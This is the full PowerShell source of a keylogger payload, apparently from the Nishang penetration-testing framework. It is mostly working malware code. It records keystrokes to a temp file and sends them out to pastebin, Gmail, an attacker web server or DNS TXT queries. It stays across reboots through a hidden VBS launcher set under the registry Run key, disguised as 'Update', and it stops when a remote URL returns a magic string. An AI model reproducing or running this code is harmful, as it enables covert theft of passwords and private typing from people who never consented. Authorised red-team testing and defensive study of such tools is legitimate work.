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<#
.SYNOPSIS
Nishang Payload which logs keys.
.DESCRIPTION
This payload logs a user's keys and writes them to file key.log (I know its bad :|) in user's temp directory.
The keys are than pasted to pastebin|tinypaste|gmail|all as per selection. Saved keys could then be decoded
using the Parse_Key script in nishang.
.PARAMETER persist
Use this parameter to achieve reboot persistence. Different methods of persistence with Admin access and normal user access.
.PARAMETER ExfilOption
The method you want to use for exfitration of data. Valid options are "gmail","pastebin","WebServer" and "DNS".
.PARAMETER dev_key
The Unique API key provided by pastebin when you register a free account.
Unused for other options
.PARAMETER username
Username for the pastebin/gmail account where data would be exfiltrated.
Unused for other options
.PARAMETER password
Password for the pastebin/gmail account where data would be exfiltrated.
Unused for other options
.PARAMETER URL
The URL of the webserver where POST requests would be sent.
.PARAMETER DomainName
The DomainName, whose subdomains would be used for sending TXT queries to.
.PARAMETER AuthNS
Authoritative Name Server for the domain specified in DomainName
.PARAMETER MagicString
The string which when found at CheckURL will stop the keylogger.
.PARAMETER CheckURL
The URL which would contain the MagicString used to stop keylogging.
.EXAMPLE
PS > .\Keylogger.ps1
The payload will ask for all required options.
.EXAMPLE
PS > .\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis
Use above when using the payload from non-interactive shells and no exfiltration is required.
.EXAMPLE
PS > .\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php
Use above for exfiltration to a webserver which logs POST requests
.EXAMPLE
PS > .\Keylogger.ps1 -persist
Use above for reboot persistence.
.LINK
http://labofapenetrationtester.com/
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="noexfil")] Param(
[Parameter(Parametersetname="exfil")]
[Switch]
$persist,
[Parameter(Parametersetname="exfil")]
[Switch]
$exfil,
[Parameter(Position = 0, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 0, Mandatory = $True, Parametersetname="noexfil")]
[String]
$CheckURL,
[Parameter(Position = 1, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 1, Mandatory = $True, Parametersetname="noexfil")]
[String]
$MagicString,
[Parameter(Position = 2, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
[String]
$ExfilOption,
[Parameter(Position = 3, Mandatory = $False, Parametersetname="exfil")]
[String]
$dev_key = "null",
[Parameter(Position = 4, Mandatory = $False, Parametersetname="exfil")]
[String]
$username = "null",
[Parameter(Position = 5, Mandatory = $False, Parametersetname="exfil")]
[String]
$password = "null",
[Parameter(Position = 6, Mandatory = $False, Parametersetname="exfil")]
[String]
$URL = "null",
[Parameter(Position = 7, Mandatory = $False, Parametersetname="exfil")]
[String]
$DomainName = "null",
[Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]
[String]
$AuthNS = "null"
)
$functions = {
function script:Keylogger
{
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$MagicString,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$CheckURL
)
$signature = @"
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
"@
$getKeyState = Add-Type -memberDefinition $signature -name "Newtype" -namespace newnamespace -passThru
$check = 0
while ($true)
{
Start-Sleep -Milliseconds 40
$logged = ""
$result=""
$shift_state=""
$caps_state=""
for ($char=1;$char -le 254;$char++)
{
$vkey = $char
$logged = $getKeyState::GetAsyncKeyState($vkey)
if ($logged -eq -32767)
{
if(($vkey -ge 48) -and ($vkey -le 57))
{
$left_shift_state = $getKeyState::GetAsyncKeyState(160)
$right_shift_state = $getKeyState::GetAsyncKeyState(161)
if(($left_shift_state -eq -32768) -or ($right_shift_state -eq -32768))
{
$result = "S-" + $vkey
}
else
{
$result = $vkey
}
}
elseif(($vkey -ge 64) -and ($vkey -le 90))
{
$left_shift_state = $getKeyState::GetAsyncKeyState(160)
$right_shift_state = $getKeyState::GetAsyncKeyState(161)
$caps_state = [console]::CapsLock
if(!(($left_shift_state -eq -32768) -or ($right_shift_state -eq -32768)) -xor $caps_state)
{
$result = "S-" + $vkey
}
else
{
$result = $vkey
}
}
elseif((($vkey -ge 186) -and ($vkey -le 192)) -or (($vkey -ge 219) -and ($vkey -le 222)))
{
$left_shift_state = $getKeyState::GetAsyncKeyState(160)
$right_shift_state = $getKeyState::GetAsyncKeyState(161)
if(($left_shift_state -eq -32768) -or ($right_shift_state -eq -32768))
{
$result = "S-" + $vkey
}
else
{
$result = $vkey
}
}
else
{
$result = $vkey
}
$now = Get-Date;
$logLine = "$result "
$filename = "$env:temp\key.log"
Out-File -FilePath $fileName -Append -InputObject "$logLine"
}
}
$check++
if ($check -eq 6000)
{
$webclient = New-Object System.Net.WebClient
$filecontent = $webclient.DownloadString("$CheckURL")
if ($filecontent -eq $MagicString)
{
break
}
$check = 0
}
}
}
function Keypaste
{
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$ExfilOption,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$dev_key,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$username,
[Parameter(Position = 3, Mandatory = $True)]
[String]
$password,
[Parameter(Position = 4, Mandatory = $True)]
[String]
$URL,
[Parameter(Position = 5, Mandatory = $True)]
[String]
$AuthNS,
[Parameter(Position = 6, Mandatory = $True)]
[String]
$MagicString,
[Parameter(Position = 7, Mandatory = $True)]
[String]
$CheckURL
)
$check = 0
while($true)
{
$read = 0
Start-Sleep -Seconds 5
$pastevalue=Get-Content $env:temp\key.log
$read++
if ($read -eq 30)
{
Out-File -FilePath $env:temp\key.log -Force -InputObject " "
$read = 0
}
$now = Get-Date;
$name = $env:COMPUTERNAME
$paste_name = $name + " : " + $now.ToUniversalTime().ToString("dd/MM/yyyy HH:mm:ss:fff")
function post_http($url,$parameters)
{
$http_request = New-Object -ComObject Msxml2.XMLHTTP
$http_request.open("POST", $url, $false)
$http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded")
$http_request.setRequestHeader("Content-length", $parameters.length);
$http_request.setRequestHeader("Connection", "close")
$http_request.send($parameters)
$script:session_key=$http_request.responseText
}
function Compress-Encode
{
#Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
$ms = New-Object IO.MemoryStream
$action = [IO.Compression.CompressionMode]::Compress
$cs = New-Object IO.Compression.DeflateStream ($ms,$action)
$sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
$pastevalue | ForEach-Object {$sw.WriteLine($_)}
$sw.Close()
# Base64 encode stream
$code = [Convert]::ToBase64String($ms.ToArray())
return $code
}
if ($exfiloption -eq "pastebin")
{
$utfbytes = [System.Text.Encoding]::UTF8.GetBytes($Data)
$pastevalue = [System.Convert]::ToBase64String($utfbytes)
post_http "https://pastebin.com/api/api_login.php" "api_dev_key=$dev_key&api_user_name=$username&api_user_password=$password"
post_http "https://pastebin.com/api/api_post.php" "api_user_key=$session_key&api_option=paste&api_dev_key=$dev_key&api_paste_name=$pastename&api_paste_code=$pastevalue&api_paste_private=2"
}
elseif ($exfiloption -eq "gmail")
{
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
$smtpserver = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
$msg.From = "$username@gmail.com"
$msg.To.Add("$username@gmail.com")
$msg.Subject = $pastename
$msg.Body = $pastevalue
if ($filename)
{
$att = new-object Net.Mail.Attachment($filename)
$msg.Attachments.Add($att)
}
$smtp.Send($msg)
}
elseif ($exfiloption -eq "webserver")
{
$Data = Compress-Encode
post_http $URL $Data
}
elseif ($ExfilOption -eq "DNS")
{
$lengthofsubstr = 0
$code = Compress-Encode
$queries = [int]($code.Length/63)
while ($queries -ne 0)
{
$querystring = $code.Substring($lengthofsubstr,63)
Invoke-Expression "nslookup -querytype=txt $querystring.$DomainName $ExfilNS"
$lengthofsubstr += 63
$queries -= 1
}
$mod = $code.Length%63
$query = $code.Substring($code.Length - $mod, $mod)
Invoke-Expression "nslookup -querytype=txt $query.$DomainName $ExfilNS"
}
$check++
if ($check -eq 6000)
{
$check = 0
$webclient = New-Object System.Net.WebClient
$filecontent = $webclient.DownloadString("$CheckURL")
if ($filecontent -eq $MagicString)
{
break
}
}
}
}
}
$modulename = $script:MyInvocation.MyCommand.Name
if($persist -eq $True)
{
$name = "persist.vbs"
$options = "start-job -InitializationScript `$functions -scriptblock {Keypaste $args[0] $args[1] $args[2] $args[3] $args[4] $args[5] $args[6] $args[7]} -ArgumentList @($ExfilOption,$dev_key,$username,$password,$URL,$AuthNS,$MagicString,$CheckURL)"
$options2 = "start-job -InitializationScript `$functions -scriptblock {Keylogger $args[0] $args[1]} -ArgumentList @($MagicString,$CheckURL)"
$func = $functions.Tostring()
Out-File -InputObject '$functions = {' -Force $env:TEMP\$modulename
Out-File -InputObject $func -Append $env:TEMP\$modulename
Out-File -InputObject '}' -Append -NoClobber $env:TEMP\$modulename
Out-File -InputObject $options -Append -NoClobber $env:TEMP\$modulename
Out-File -InputObject $options2 -Append -NoClobber $env:TEMP\$modulename
New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Update -PropertyType String -Value $env:TEMP\$name -force
echo "Set objShell = CreateObject(`"Wscript.shell`")" > $env:TEMP\$name
echo "objShell.run(`"powershell -noexit -WindowStyle Hidden -executionpolicy bypass -file $env:temp\$modulename`")" >> $env:TEMP\$name
}
else
{
if ($exfil -eq $True)
{
start-job -InitializationScript $functions -scriptblock {Keypaste $args[0] $args[1] $args[2] $args[3] $args[4] $args[5] $args[6] $args[7]} -ArgumentList @($ExfilOption,$dev_key,$username,$password,$URL,$AuthNS,$MagicString,$CheckURL)
start-job -InitializationScript $functions -scriptblock {Keylogger $args[0] $args[1]} -ArgumentList @($MagicString,$CheckURL)
}
else
{
start-job -InitializationScript $functions -scriptblock {Keylogger $args[0] $args[1]} -ArgumentList @($MagicString,$CheckURL)
}
}